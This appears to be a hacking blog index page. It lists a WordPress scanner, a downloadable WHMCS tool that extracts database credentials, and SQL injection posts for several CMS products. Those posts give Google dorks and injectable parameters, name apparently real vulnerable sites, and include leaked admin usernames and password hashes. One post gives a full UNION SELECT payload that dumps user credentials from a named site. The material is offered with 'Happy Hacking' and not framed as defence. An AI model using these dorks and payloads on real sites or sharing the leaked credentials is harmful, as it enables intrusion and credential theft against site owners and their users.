WordPress vulnerability Scanner

WPSCAN - WordPress Security & vulnerability Scanner

WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach.

WordPress Vulnerability Scanner Detail

• Username enumeration (from author querystring and location header)
• Weak password cracking (multithreaded)
• Version enumeration (from generator meta tag)
• Vulnerability enumeration (based on version)
• Plugin enumeration (2220 most popular by default)
• Plugin vulnerability enumeration (based on version) (todo)
• Plugin enumeration list generation
• Other misc WordPress checks (theme name, dir listing, ...)

DOWNLOAD HERE

DEMO

Read More

WHMCS Pentesting Tool

WHMCS Pentesting Tool 

 

WHMCS pentesting tool

This is good pentesting tool for the WHMCS sites. This tool will look for the vulnerability in the site and will get the db_username, db_password, db_license, db_host, db_name, cc_enryption_hash, and templates_compiledir from the site .
Easy to use and useful tool .
Download this tool :- http://www.4shared.com/file/6ebvAUgy/ProjectX_WHMCS_Pentesting_Tool.html
And don’t forget to share it

 

Read More

SantriaCMS SQL Injection Vulnerability

SantriaCMS SQL Injection Vulnerability

 

Dork : "view.php?idArtikel="

Exploit :

http://target.com/cms/view.php?idArtikel=[SQLi]  

adminpage = /login.php

example site :

http://joksus.com

username : admin

password : 21232f297a57a5a743894a0e4a801fc3 => [admin] 

Read More

Dede Cms All Versions Sql Vulnerability Exploit

Dede Cms All Versions Sql Vulnerability Exploit

 

Dorks:  inurl:"id" "DedeCMS Error Warning!"
Vulnerable Files : 
/list.php?id=[sql]
/members.php?id=[sql] 
/book.php?id=[sql] 


Happy Hacking :D 

Read More

pGB 2.12 SQL Injection Vulnerability

pGB 2.12 SQL Injection Vulnerability

Dork : inurl:kommentar.php?id=[SQLi]

Example Target : http://www.keindsl.de/kommentar.php?id=15

username: webmaster
password: 688e46d35a3a373c <--- phpBB  :p

Happy Hacking  :D

Read More

4PSA CMS SQL Injection Vulnerabilities

4PSA CMS SQL Injection Vulnerabilities

Google Dork: "Communications solution from 4PSA."
p0c : http://target.com/print.php?id=[SQLi]


Example site :

http://www.pchardware.ro/Reviews/print.php?id=NULL%20UNION+SelEct+group_concat%28uname,0x3a,pwd%29,2+FROM%20user--


Best Regard's
Vicky-Cyber 

Read More

Joomla component (com_ponygallery) SQL injection Vulnerability

Joomla SQL injection Vulnerability

 

Messege in this Picture "Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/mega/public_html/site/components/com_ponygallery/ponygallery.php on line 994"




Google dork: inurl:"com_ponygallery"
[~]Exploit/p0c :http://www.site.com/index.php?option=com_ponygallery&Itemid=[sqli]







Read More